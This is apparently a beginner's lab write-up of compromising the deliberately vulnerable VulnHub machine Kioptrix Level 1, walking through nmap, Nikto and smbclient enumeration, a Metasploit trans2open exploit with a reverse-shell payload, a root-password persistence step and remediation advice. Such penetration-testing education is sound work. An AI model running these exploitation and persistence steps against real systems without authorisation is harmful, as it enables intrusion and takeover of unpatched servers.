Kioptrix Level 1: My First Introduction to Pentesting

Overview

I attempted the Kioptrix Level 1, which is a beginner-friendly, intentionally vulnerable machine from VulnHub designed to simulate a real-world, poorly maintained Linux server. The goal is to gain root access by any means possible, then stick around and see what an attacker could actually do once inside.

Objective

The objective is to acquire root access via any means possible and perform post-exploitation activities.

All activities were conducted with the goal of:

• Identifying the methods and steps a remote attacker could use to obtain access to the victim machine.
• Identifying possible countermeasures and remediations that could prevent or mitigate these attacks.

Methodology

• Network Scanning.
• Enumeration.
• Exploitation.
• Gaining Root Access
• Post-Exploitation

Tools & Environment

• Attack Machine: Kali Linux
• Target Machine: Kioptrix Level 1 (VulnHub)
• Network: NAT Network
• Tools: Netdiscover, Nmap, Nikto, smbclient, Searchsploit, Metasploit Framework

Setting Up Kioptrix

Before we get into the actual hacking, let's get the machine running. Download Kioptrix Level 1 from VulnHub and extract the RAR file. There are two fixes you need to apply before starting it, skipping these will lead to a crash after booting.

Making Sure Both Machines Are on The Same Network

The first thing is to ensure that both machines are on the same network or they simply will not see each other. I would recommend switching to a shared NAT Network for this, since it keeps both machines isolated together on their own internal segment while still letting them talk to each other.

Here is how to set that up if using VirtualBox like me:

1. In VirtualBox, go to File → Tools → Network Manager
2. Select the NAT Networks tab
3. Click Create
4. Rename it to LABNETWORK
5. Enable DHCP
6. Leave IPv4 CIDR as default unless you have a conflict
7. Leave IPv6 disabled
8. Apply and close

Fix the Storage Controller (The Kernel Panic Fix)

The second thing is to fix the storage controller. Select Kioptrix in VirtualBox and go to Settings → Storage.

Right-click on Controller: SATA and select Remove. Then click on Controller: IDE (add it via the "Add new storage controller" icon if it is missing). Click the Add Hard Disk icon next to the IDE controller, click Add in the pop-up, navigate to the folder where you extracted the Kioptrix files, and select the .vmdk file. Click Choose.

Fix the Network Adapter

Go to Settings → Network. Set Attached to as NAT Network and select LABNETWORK. Expand Advanced and set Adapter Type to PCnet-PCI III (Am79C970A). Make sure Enable Network Adapter is checked. Click OK.

The purpose of fixing these issues is so you don't run into any errors like me!

Now you can start the machine :)

I followed the PTES (Penetration Testing Execution Standard), which gave the whole process a clear, structured backbone. Instead of just running tools and hoping for the best, PTES breaks a pentest into defined phases. It is the kind of framework that separates a structured tester from someone just clicking buttons and hoping on vibes.

Phase 1: Pre-engagement

Well, this is an intentionally vulnerable machine from VulnHub, so we're safe!

Phase 2: Reconnaissance (Finding the Target)

Before anything else, we need to know where the target is on the network. You cannot hack what you cannot find. So we're basically snooping around.

Turn on both your Kali VM and your Kioptrix VM. On Kali, open a terminal and run:

sudo netdiscover

sudo netdiscover

This scans your local network and lists every live host it finds. My network range was 10.0.2.0/24, and Kioptrix showed up with IP 10.0.2.6.

If you can't find Kioptrix or it's taking time, you can try logging in on Kioptrix with the credentials "John" and "TwoCows2" and then run this command to get the IP address of the VM.

ping 8.8.8.8

ping 8.8.8.8

Phase 3: Threat modeling (Active Scanning and Enumeration)

I started with a full Nmap scan to see what was running on the box.

nmap -A -p- -T4 10.0.2.6

nmap -A -p- -T4 10.0.2.6

The -A flag enables OS detection, version detection, and script scanning. -p- scans all 65535 ports instead of just the common ones, which matters on an old box like this where something interesting could be sitting outside the usual range. -T4 speeds up the scan timing.

The scan came back with several open ports, including SSH, HTTP, HTTPS, and SMB (Samba).

Phase 4: Scanning the Web Server for Vulnerabilities with Nikto

Next, I ran Nikto against the web service to look for known vulnerabilities and misconfigurations.

nikto -h 10.0.2.6 -p 80

nikto -h 10.0.2.6 -p 80

Nikto found that the server was running very old software: Apache/1.3.20 on Red Hat Linux with outdated mod_ssl and OpenSSL versions. These versions are known to have serious security issues, including remote denial of service, possible code execution, and buffer overflow vulnerabilities that could let an attacker gain control or disrupt services.

It also showed a misconfiguration that allows system files to be read by modifying the URL and a potentially vulnerable Webalizer installation that could allow cross-site scripting if present. On top of that, directory listing was enabled in some areas, which exposed folders that should not be publicly accessible.

That mod_ssl remote buffer overflow is the kind of vulnerability that is dangerous. No credentials needed, just the right exploit.

SMB Enumeration with smbclient

Port 139 being open means SMB is running, which is a file sharing protocol. Now, to see what version is running, use:

smbclient -L 10.0.2.6

smbclient -L 10.0.2.6

It shows Samba 2.2.1a. That version number is important. A quick Searchsploit check tells us why:

searchsploit samba 2.2

searchsploit samba 2.2

Searchsploit queries a local copy of Exploit-DB and returns every known exploit matching that version. Samba 2.2.1a has a well-documented remote buffer overflow called trans2open that gives an attacker direct access to the system.

A quick Google search for "Samba 2.2.1a exploits" confirms the same thing, with trans2open and Metasploit coming up consistently as the exploit and framework to use.

So from here I knew I had my way in.

Phase 5: Exploitation with Metasploit

With a specific vulnerable service identified, I moved into Metasploit using "msfconsole."

msfconsole

msfconsole

I searched for an exploit matching what Nikto had surfaced:

search trans2open

search trans2open

This module targets a vulnerability in Samba's trans2open function, a known remote buffer overflow affecting older Samba versions, which lined up with the SMB port I had seen open in my Nmap scan.

So I used exploit 1. You can type the full path or just use the module number to save yourself the typing:

use exploit/linux/samba/trans2open

use exploit/linux/samba/trans2open

Check what needs to be configured:

show options

show options

Set the target IP:

set RHOST 10.0.2.6

set RHOST 10.0.2.6

Notice that when you select an exploit in Metasploit, it automatically assigns a default payload. Change that to a reverse shell, which will send a connection back to our Kali machine once the exploit runs. First check what payloads are available:

show payloads

show payloads

Then set the right one:

set payload payload/linux/x86/shell_reverse_tcp

set payload payload/linux/x86/shell_reverse_tcp

Run show options one more time to confirm both RHOST and LHOST (your Kali IP) are correctly set.

Then I launched the exploit:

run

run

The exploit succeeded and dropped me into a shell on the target.

Confirming Root Access

Once inside, the first thing I checked was who I was running as:

whoami

whoami

The output returned root. The Samba vulnerability had given me direct root-level access without needing a separate privilege escalation step, since the exploited service itself was running with root privileges.

Phase 6: Post-Exploitation

Getting root is not really the end goal. In a real engagement, post-exploitation is where the actual impact of a compromise becomes clear. Here is what I did.

Lock in persistent access:

To prove full ownership of the machine and make it easy to return to later, I set a password for the root account:

passwd

passwd

From that point on, I could log back into the box directly as root whenever I needed to.

So I got my hands dirty; apparently there is mail for us to read on the Kioptrix Level 1 VM:

ls -la /
ls -la /root

ls -la /
ls -la /root

Looked for mail:

ls -la /var/mail

ls -la /var/mail

This returned: /var/mail -> spool/mail

That arrow means /var/mail is a symbolic link, basically a shortcut, pointing to /var/spool/mail, which is where Linux actually stores email for system users. So I followed it:

cat /var/spool/mail/root

cat /var/spool/mail/root

There it is! A mail sitting in the root inbox, left behind by the "attacker."

Conclusion

Kioptrix Level 1 showed me exactly what happens when a system goes unpatched for too long. One outdated Samba version was all it took me to go from an outsider to having full root access to the system.

Countermeasures and recommendations:

• I recommend you keep all software patched and up-to-date, especially anything exposed to the network like Samba, Apache, and OpenSSL.
• Implement network segmentation so one compromised service does not mean full system access
• Monitor SMB traffic and restrict access to trusted hosts only.

This is widely known as a beginner-friendly introduction to penetration testing, and working through it gave me a clearer picture of what a full engagement actually looks like.

Thank you for reading :)